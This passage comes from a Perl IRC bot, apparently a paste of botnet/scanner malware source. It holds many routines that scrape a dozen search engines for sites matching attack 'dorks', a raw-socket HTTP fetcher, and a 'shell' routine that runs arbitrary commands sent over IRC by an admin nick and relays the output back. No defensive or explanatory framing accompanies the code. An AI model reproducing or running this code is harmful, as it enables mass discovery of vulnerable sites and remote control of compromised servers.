  596. while ($gl =~ m/href=\"\/search?q=(.*?);ei=(.*?)&amp;start=(.*?)\" id=\"pnnext\"/g){ my $token = $2;}
  597. for ($p=10; $p<=$max; $p+=$num){
  598. my $search = "http://www.google.com/search?q=".&key($key)."&ei=".$token."&start=".$p."&sa=N&filter=0";
  599. my $res = &get_content($search);
  600. while ($res =~ m/<h3 class=\"r\"><a href=\"(.*?):\/\/(.*?)\"/g) {
  601. my $link = $2;
  602. if ($link !~ /google|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){ my @grep = &links($link); push(@list,@grep); }
  603. }
  604. } return @list;
  605. }
  606. sub google2() {
  607. my @list;
  608. my $key = $_[0];
  609. my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  610. my $num = 10; my $max = 1000; my $p; my $token;
  611. my $go = "http://www.google.com/search?q=".&key($key)."&filter=0&start=".$p;
  612. my $gl = &get_content($go);
  613. while ($gl =~ m/href=\"\/search?q=(.*?);ei=(.*?)&amp;start=(.*?)\" id=\"pnnext\"/g){ my $token = $2;}
  614. foreach my $domain (@doms) {
  615. $dom = $doms[rand(scalar(@doms))];
  616. for ($p=10; $p<=$max; $p+=$num) {
  617. my $search = "http://www.google.".$dom."/search?q=".&key($key)."&ei=".$token."&start=".$p."&sa=N&filter=0";
  618. my $res = &get_content($search);
  619. while ($res =~ m/<h3 class=\"r\"><a href=\"(.*?):\/\/(.*?)\"/g) {
  620. if ($2 !~ /google|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  621. my $link = $2;
  622. my @grep = &links($link);
  623. push(@list,@grep);
  624. }
  625. }
  626. } return @list;
  627. }
  628. }
  629. sub gproxy() {
  630. my @list;
  631. my $key = $_[0];
  632. my @doms = ("com","ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  633. my $num = 10; my $max = 1000; my $p; my $token;
  634. my $go = "http://www.google.com/search?q=".&key($key)."&filter=0&start=".$p;
  635. my $gl = &get_content($go);
  636. while ($gl =~ m/href=\"\/search?q=(.*?);ei=(.*?)&amp;start=(.*?)\" id=\"pnnext\"/g){ my $token = $2;}
  637. foreach my $domain (@doms) {
  638. $dom = $doms[rand(scalar(@doms))];
  639. for ($p=10; $p<=$max; $p+=$num) {
  640. my $search = $poksai."http://www.google.".$dom."/search?q=".&key($key)."&ei=".$token."&start=".$p."&sa=N&filter=0";
  641. my $res = &get_content($search);
  642. while ($res =~ m/<h3 class=\"r\"><a href=\"(.*?):\/\/(.*?)\"/g) {
  643. if ($2 !~ /google|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  644. my $link = $2;
  645. my @grep = &links($link);
  646. push(@list,@grep);
  647. }
  648. }
  649. } return @list;
  650. }
  651. }
  652. sub walla() {
  653. my @list;
  654. my $key = $_[0];
  655. my $num = 1; my $max = 100; my $p;
  656. for ($p=1; $p<=$max; $p+=$num) {
  657. my $search = "http://search.walla.co.il/?q=".&key($key)."&type=text&page=".$p;
  658. my $res = &get_content($search);
  659. while ($res =~ m/<h1><a href=\"(.*?):\/\/(.*?)\"/g) {
  660. my $link = $2;
  661. if ($link !~ /walla.co.il|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  662. my @grep = &links($link);
  663. push(@list,@grep);
  664. }
  665. }
  666. }
  667. return @list;
  668. }
  669. sub ask() {
  670. my @list;
  671. my $key = $_[0];
  672. my $num = 1; my $max = 100; my $p; my $token1; my $token2;
  673. my $go = "http://www.ask.com/web?q=".&key($key)."&page=".$p."&o=0&l=dir&qo=pagination";
  674. my $gl = &get_content($go);
  675. while ($gl =~ m/<a class=\"pagination-number-link\" href=\"(.*?)qid=(.*?)&(.*?)&qsrc=(.*?)&(.*?)\">/g){ my $token1 = $2; my $token2 = $4;}
  676. for ($p=1; $p<=$max; $p+=$num) {
  677. my $search = "http://www.ask.com/web?q=".&key($key)."&page=".$p."&qid=".$token1."&o=0&l=dir&qsrc=".$token2."&qo=pagination";
  678. my $res = &get_content($search);
  679. while ($res =~ m/href=\"(.*?):\/\/(.*?)\" onmousedown=/g) {
  680. my $link = $2;
  681. if ($link !~ /ask.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  682. my @grep = &links($link);
  683. push(@list,@grep);
  684. }
  685. }
  686. }
  687. return @list;
  688. }
  689. sub ask2() {
  690. my @list;
  691. my $key = $_[0];
  692. my @doms = ("de","it","fr","es","ru","nl","uk","br","pl","au","at","jp","se","mx","no","dk");
  693. my $num = 1; my $max = 100; my $p; my $token1; my $token2;
  694. my $go = "http://www.ask.com/web?q=".&key($key)."&page=".$p."&o=0&l=dir&qo=pagination";
  695. my $gl = &get_content($go);
  696. while ($gl =~ m/<a class=\"pagination-number-link\" href=\"(.*?)qid=(.*?)&(.*?)&qsrc=(.*?)&(.*?)\">/g){ my $token1 = $2; my $token2 = $4;}
  697. foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  698. for ($p=1; $p<=$max; $p+=$num) {
  699. my $search = "http://".$dom.".ask.com/web?q=".&key($key)."&page=".$p."&qid=".$token1."&o=0&l=dir&qsrc=".$token2."&qo=pagination";
  700. my $res = &get_content($search);
  701. while ($res =~ m/href=\"(.*?):\/\/(.*?)\" onmousedown=/g) {
  702. if ($2 !~ /ask.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  703. my $link = $2;
  704. my @grep = &links($link);
  705. push(@list,@grep);
  706. }
  707. }
  708. } return @list;
  709. }
  710. }
  711. sub clusty() {
  712. my @list;
  713. my $key = $_[0];
  714. my $num = 20; my $max = 200; my $p; my $token1; my $token2;
  715. my $go = "http://new.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty-new&query=".&key($key);
  716. my $gl = &get_content($go);
  717. while ($gl =~ m/class=\"listmore\" href=\"(.*?)v%3afile=(.*?)&amp;sec=(.*?)&(.*?)\">/g){ my $token1 = $2; my $token2 = $3;}
  718. for ($p=20; $p<=$max; $p+=$num) {
  719. my $search = "http://new.yippy.com/search?v%3aproject=clusty-new&v%3afile=".$token1."&sec=".$token2."&query=".&key($key)."&v:state=root|root-".$p."-20|0&";
  720. my $res = &get_content($search);
  721. while ($res =~ m/<a class=\"opener\" href=\"(.*?):\/\/(.*?)\"/g) {
  722. my $link = $2;
  723. if ($1 !~ /yippy.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  724. my @grep = &links($link);
  725. push(@list,@grep);
  726. }
  727. }
  728. }
  729. return @list;
  730. }
  731. sub bing() {
  732. my @list;
  733. my $key = $_[0];
  734. my $num = 10; my $max = 1000; my $p;
  735. for (my $p=1; $p<=$max; $p+=$num) {
  736. my $search = "http://www.bing.com/search?q=".&key($key)."&qs=n&pq=".&key($key)."&sc=0-0&sp=-1&sk=&first=".$p;
  737. my $res = &get_content($search);
  738. while ($res =~ m/<h2><a href=\"(.*?):\/\/(.*?)\"/g) {
  739. my $link = $2;
  740. if ($link !~ /google.com|microsoft.com|live.com|msn.com|bing.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/) {
  741. my @grep = &links($link);
  742. push(@list,@grep);
  743. }
  744. }
  745. }
  746. return @list;
  747. }
  748. sub bing2() {
  749. my @list;
  750. my $key = $_[0];
  751. my @doms = ("de","uk","ca","br","fr","es","it","be","nl","pt","no","dk","se","ch","nz","ru","jp","cn","kr","mx","ar","cl","au");
  752. my $num = 10; my $max = 1000; my $p;
  753. foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  754. for (my $p=10; $p<=$max; $p+=$num) {
  755. my $search = "http://www.bing.com/search?q=".&key($key)."&qs=n&pq=".&key($key)."&sc=0-0&sp=-1&sk=&cc=".$p."&rf=1&qpvt=".&key($key)."&first=".$p;
  756. my $res = &get_content($search);
  757. while ($res =~ m/<h2><a href=\"(.*?):\/\/(.*?)\"/g) {
  758. if ($2 !~ /google.com|microsoft.com|live.com|msn.com|bing.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  759. my $link = $2;
  760. my @grep = &links($link);
  761. push(@list,@grep);
  762. }
  763. }
  764. } return @list;
  765. }
  766. }
  767. sub bypass() {
  768. my @list;
  769. my $key = $_[0];
  770. my $num = 10; my $max = 1000; my $p;
  771. my $search = $bypass."?key=".&key($key)."&max=".$max;
  772. my $res = &get_content($search);
  773. while ($res =~ m/<h3 class=r>ambil :<a href=\"\/url?q=(.*?):\/\/(.*?)\">/g) {
  774. if ($link !~ /google|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  775. my $link = $2;
  776. my @grep = &links($link);
  777. push(@list,@grep);
  778. }
  779. }
  780. return @list;
  781. }
  782. sub uol() {
  783. my @list;
  784. my $key = $_[0];
  785. my $num = 15; my $max = 1000; my $p;
  786. for ($p=15; $p<=$max; $p+=$num) {
  787. my $search = "http://busca.uol.com.br/web/?q=".&key($key)."&start=".$p;
  788. my $res = &get_content($search);
  789. while ($res =~ m/<dt><a href=\"(.*?):\/\/(.*?)\">/g) {
  790. my $link = $2;
  791. if ($link !~ /uol.com.br|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  792. my @grep = &links($link);
  793. push(@list,@grep);
  794. }
  795. }
  796. }
  797. return @list;
  798. }
  799. sub seznam() {
  800. my @list;
  801. my $key = $_[0];
  802. my $num = 10; my $max = 1000; my $p; my $token;
  803. my $go = "http://search.seznam.cz/?q=".&key($key)."&count=".$num."&from=".$num;
  804. my $gl = &get_content($go);
  805. while ($gl =~ m/<input type=\"hidden\" name=\"sId\" value=\"(.*?)\"/g){ my $token = $1; }
  806. for ($p=10; $p<=$max; $p+=$num) {
  807. my $search = "http://search.seznam.cz/?q=".&key($key)."&count=".$num."&pId=".$token."&from=".$p;
  808. my $res = &get_content($search);
  809. while ($res =~ m/id=\"modImgA-(.*?)\" href=\"(.*?):\/\/(.*?)\"/g) {
  810. my $link = $3;
  811. if ($link !~ /seznam.cz|sklik.cz|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  812. my @grep = &links($link);
  813. push(@list,@grep);
  814. }
  815. }
  816. }
  817. return @list;
  818. }
  819. sub hotbot() {
  820. my @list;
  821. my $key = $_[0];
  822. my $num = 1; my $max = 100; my $p; my $token;
  823. my $go = "http://www.hotbot.com/search/web?pn=".$num."&q=".&key($key);
  824. my $gl = &get_content($go);
  825. while ($gl =~ m/$('#keyvol').val('(.*?)');/g){ my $token = $1; }
  826. for ($p=1; $b<=$max; $p+=$num) {
  827. my $search = "http://www.hotbot.com/search/web?pn=".$p."&q=".&key($key)."&keyvol=".$token;
  828. my $res = &get_content($search);
  829. while ($res =~ m/<a href=\"(.*?):\/\/(.*?)\"/g) {
  830. my $link = $2;
  831. if ($link !~ /hotbot.com|lycos.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  832. my @grep = &links($link);
  833. push(@list,@grep);
  834. }
  835. }
  836. }
  837. return @list;
  838. }
  839. sub aol() {
  840. my @list;
  841. my $key = $_[0];
  842. my $num = 1; my $max = 100; my $p; my $token;
  843. my $go = "http://search.aol.com/aol/search?enabled_terms=&s_it=comsearch&q=".&key($key);
  844. my $gl = &get_content($go);
  845. while ($gl =~ m/<a href=\"(.*?)oreq=(.*?)\"/g){ my $token = $1; }
  846. for ($p=1; $p<=$max; $p+=$num) {
  847. my $search = "http://search.aol.com/aol/search?page=".$p."&v_t=comsearch&enabled_terms=&q=".&key($key)."&s_it=comsearch&oreq=".$token;
  848. my $res = &get_content($search);
  849. while ($res =~ m/href=\"(.*?):\/\/(.*?)\" property=/g) {
  850. my $link = $2;
  851. if ($link !~ /aol.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  852. my @grep = &links($link);
  853. push(@list,@grep);
  854. }
  855. }
  856. }
  857. return @list;
  858. }
  859. sub biglobe() {
  860. my $key = $_[0];
  861. my @list;
  862. my $num = 10; my $max = 1000; my $p;
  863. for ($p=10; $p<=$max; $p+=$num) {
  864. $num += $num;
  865. my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search_bl_top?start=".$p."&ie=utf8&num=".$num."&q=".&key($key)."&lr=all&maevy=2911";
  866. my $res = &get_content($search);
  867. while ( $res =~ m/<h3><a href=\"(.*?):\/\/(.*?)\"/g ) {
  868. my $link = $2;
  869. if ($link !~ /biglobe.ne.jp|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  870. my @grep = &links($link);
  871. push(@list,@grep);
  872. }
  873. }
  874. }
  875. return @list;
  876. }
  877. sub lycos() {
  878. my @list;
  879. my $key = $_[0];
  880. my $num = 1; my $max = 100; my $p; my $token;
  881. my $go = "http://search.lycos.com/web/?q=".&key($key)."&pn=".$num;
  882. my $gl = &get_content($go);
  883. while ($gl =~ m/$('#keyvol').val('(.*?)');/g){ my $token = $1; }
  884. for ($p=1; $b<=$max; $p+=$num) {
  885. my $search = "http://search.lycos.com/web/?q=".&key($key)."&keyvol=".$token."&pn=".$p;
  886. my $res = &get_content($search);
  887. while ($res =~ m/<span class=\"result-url\">(.*?)<\/span>/g) {
  888. my $link = $1;
  889. if ($link !~ /hotbot.com|lycos.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  890. my @grep = &links($link);
  891. push(@list,@grep);
  892. }
  893. }
  894. }
  895. return @list;
  896. }
  897. sub webde() {
  898. my @list;
  899. my $key = $_[0];
  900. my $num = 1; my $max = 100; my $p;
  901. for ($p=1; $p<=$max; $p+=$num) {
  902. my $search = "http://suche.web.de/web?q=".&key($key)."&pageIndex=".$p."&origin=serp_pag";
  903. my $res = &get_content($search);
  904. while ($res =~ m/<h3><a target=\"_blank\" href=\"(.*?):\/\/(.*?)\">/g) {
  905. my $link = $2;
  906. if ($link !~ /web.de|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  907. my @grep = &links($link);
  908. push(@list,@grep);
  909. }
  910. }
  911. }
  912. return @list;
  913. }
  914. sub crawler() {
  915. my @list;
  916. my $key = $_[0];
  917. my $num = 10; my $max = 1000; my $p;
  918. for ($p=1; $p<=$max; $p+=$num) {
  919. my $search = "http://www.webcrawler.com/search/web?qsi=".$p."&q=".&key($key);
  920. my $res = &get_content($search);
  921. while ($res =~ m/<div class=\"resultDisplayUrl\">(.*?)<\/div>/g) {
  922. my $link = $1;
  923. if ($link !~ /webcrawler.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  924. my @grep = &links($link);
  925. push(@list,@grep);
  926. }
  927. }
  928. }
  929. return @list;
  930. }
  931. sub dmoz() {
  932. my @list;
  933. my $key = $_[0];
  934. my $num = 20; my $max = 2000; my $p;
  935. for ($p=20; $p<=$max; $p+=$num) {
  936. my $search = "http://www.dmoz.org/search?q=".&key($key)."&start=".$p."&type=next&all=no&cat=";
  937. my $res = &get_content($search);
  938. while ($res =~ m/<li class=\"\"><a href=\"(.*?):\/\/(.*?)\">/g) {
  939. my $link = $1;
  940. if ($link !~ /dmoz.org|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  941. my @grep = &links($link);
  942. push(@list,@grep);
  943. }
  944. }
  945. }
  946. return @list;
  947. }
  948. #########################################
  949. sub clean() {
  950. my @cln = ();
  951. my %visit = ();
  952. foreach my $element (@_) {
  953. $element =~ s/\/+/\//g;
  954. next if $visit{$element}++;
  955. push @cln, $element;
  956. }
  957. return @cln;
  958. }
  959. sub key() {
  960. my $dork = $_[0];
  961. $dork =~ s/ /\+/g;
  962. $dork =~ s/:/\%3A/g;
  963. $dork =~ s/\//\%2F/g;
  964. $dork =~ s/\?/\%3F/g;
  965. $dork =~ s/&/\%26/g;
  966. $dork =~ s/\"/\%22/g;
  967. $dork =~ s/,/\%2C/g;
  968. $dork =~ s/\\/\%5C/g;
  969. $dork =~ s/@/\%40/g;
  970. $dork =~ s/\[/\%5B/g;
  971. $dork =~ s/\]/\%5D/g;
  972. $dork =~ s/\?/\%3F/g;
  973. $dork =~ s/\=/\%3D/g;
  974. $dork =~ s/\|/\%7C/g;
  975. return $dork;
  976. }
  977. sub links() {
  978. my @list;
  979. my $link = $_[0];
  980. my $host = $_[0];
  981. my $hdir = $_[0];
  982. $hdir =~ s/(.*)\/[^\/]*$/$1/;
  983. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  984. $host .= "/";
  985. $link .= "/";
  986. $hdir .= "/";
  987. $host =~ s/\/\//\//g;
  988. $hdir =~ s/\/\//\//g;
  989. $link =~ s/\/\//\//g;
  990. push(@list,$hdir,$host);
  991. return @list;
  992. }
  993. #sub searchs_engines_querys($) {
  994. sub search_engine_query($) {
  995. my $url = $_[0];
  996. $url =~ s/(.*?):\/\///;
  997. my $host = $url;
  998. my $query = $url;
  999. my $page = "";
  1000. $host =~ s/href=\"?(.*?):\/\///;
  1001. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1002. $query =~ s/$host//;
  1003. if ($query eq "") { $query = "/"; }
  1004. eval {
  1005. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  1006. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
  1007. my @pages = <$sock>;
  1008. $page = "@pages";
  1009. close($sock);
  1010. };
  1011. return $page;
  1012. }
  1013. #########################################
  1014. sub shell() {
  1015. my $path = $_[0];
  1016. my $cmd = $_[1];
  1017. if ($cmd =~ /cd (.*)/) {
  1018. chdir("$1") || &msg("$path","No such file or directory");
  1019. return;
  1020. }
  1021. elsif ($pid = fork) { waitpid($pid, 0); }
  1022. else { if (fork) { exit; } else {
  1023. my @output = `$cmd 2>&1 3>&1`;
  1024. my $c = 0;
  1025. foreach my $output (@output) {
  1026. $c++;
  1027. chop $output;
  1028. &msg("$path","$output");
  1029. if ($c == 5) { $c = 0; sleep 2; }
  1030. }
  1031. exit;
  1032. }}
  1033. }
  1034. sub isAdmin() {
  1035. my $status = 0;
  1036. my $nick = $_[0];
  1037. if ($nick eq $admin) { $status = 1; }
  1038. return $status;
  1039. }
  1040. sub msg() {
  1041. return unless $#_ == 1;
  1042. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  1043. }
  1044. sub nick() {
  1045. return unless $#_ == 0;
  1046. sendraw("NICK $_[0]");
  1047. }
  1048. sub notice() {
  1049. return unless $#_ == 1;
  1050. sendraw("NOTICE $_[0] :$_[1]");
  1051. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement